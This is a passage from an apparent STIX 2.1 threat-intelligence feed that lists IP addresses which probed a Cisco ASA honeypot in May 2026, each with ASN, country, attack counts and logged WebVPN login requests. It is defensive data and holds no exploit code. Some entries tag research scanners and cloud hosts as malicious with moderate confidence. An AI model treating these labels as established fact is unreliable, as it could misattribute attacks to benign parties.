      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d44cb93b-4e74-46f4-941b-f695b557163e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T19:24:53.112Z",
          "last_seen": "2026-05-30T10:51:26.189Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--86acaf12-bcb3-4652-8d0f-c98effdc31e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T19:39:31.749Z",
          "last_seen": "2026-05-05T19:39:39.636Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--19152466-eca6-4c9f-ac03-93336ec6fd0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T20:00:33.653Z",
          "last_seen": "2026-05-29T11:37:52.113Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--09b4e752-8bf6-462b-ac14-a703d5bb6e26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T19:22:42.934Z",
          "last_seen": "2026-05-05T19:22:51.501Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /remote/login HTTP/1.1\" 404 - geo: RU; ASN 198953 (Proton66 OOO)",
      "id": "indicator--cfeb2039-74a6-4dc1-9143-db7d0f75650e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.77.150.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-05T19:54:26.452Z",
          "last_seen": "2026-05-06T01:57:10.064Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 198953,
          "as_org": "Proton66 OOO",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 -",
            "\"GET /remote/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f0c16309-2914-4e06-92d3-bdd2c0511afe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T21:12:45.898Z",
          "last_seen": "2026-05-29T00:49:18.399Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7aced5ac-39f6-4b42-950d-f6b277db2d1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T20:59:07.927Z",
          "last_seen": "2026-05-17T02:55:40.602Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398722 (Censys, Inc.)",
      "id": "indicator--320b8020-e40d-450a-a77e-9e34967fdd83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T20:51:28.016Z",
          "last_seen": "2026-05-05T20:51:44.159Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398722,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--31cf3c2a-fc67-441a-b9b9-64fae27ebfc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-05T21:10:05.736Z",
          "last_seen": "2026-05-28T01:39:51.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c2277a25-3558-4bb6-8c7b-2e544315cf95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T20:30:33.635Z",
          "last_seen": "2026-05-30T08:20:15.836Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d9417d51-6e81-477b-848b-7a1e4221b0c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T20:52:40.021Z",
          "last_seen": "2026-05-25T21:11:02.903Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7fa6b131-bd0b-4311-963c-a2b9e06f883d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T21:01:22.015Z",
          "last_seen": "2026-05-05T21:01:30.822Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--150d847f-ec38-41e4-b6b5-f276bc508824",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-05T20:35:36.137Z",
          "last_seen": "2026-05-30T10:17:36.040Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 63949 (Akamai Connected Cloud)",
      "id": "indicator--8ee6a75d-23d1-41b1-ad36-f9d83380f202",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T21:20:10.000Z",
      "valid_until": "2026-06-06T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T21:06:33.440Z",
          "last_seen": "2026-05-05T21:06:36.441Z",
          "country": "United States",
          "country_code": "US",
          "asn": 63949,
          "as_org": "Akamai Connected Cloud",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CA; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--bab15e1b-15df-411d-a704-cb1d232a25c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.203.23.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:20:05.000Z",
      "valid_until": "2026-06-06T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T22:09:00.299Z",
          "last_seen": "2026-05-05T22:09:06.443Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ea66f5c7-1186-4999-b966-ffcf9f4e5844",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:20:05.000Z",
      "valid_until": "2026-06-06T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T22:10:35.514Z",
          "last_seen": "2026-05-26T13:19:21.783Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17706ac0-d364-49d0-b0eb-3da7b9bbd005",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:20:05.000Z",
      "valid_until": "2026-06-06T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T21:32:18.747Z",
          "last_seen": "2026-05-31T02:57:33.823Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T22:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--78d62ff2-0d3c-4033-9b3b-e5094cd115bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:20:05.000Z",
      "valid_until": "2026-06-06T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T21:41:20.419Z",
          "last_seen": "2026-05-26T06:57:26.333Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--9433e8f6-0072-46e1-a1e8-835c725b287f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T22:35:18.109Z",
          "last_seen": "2026-05-26T16:35:35.427Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--efcd22e2-3182-4dcc-9fe1-e9e2b455b300",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T22:34:21.643Z",
          "last_seen": "2026-05-26T07:56:56.937Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
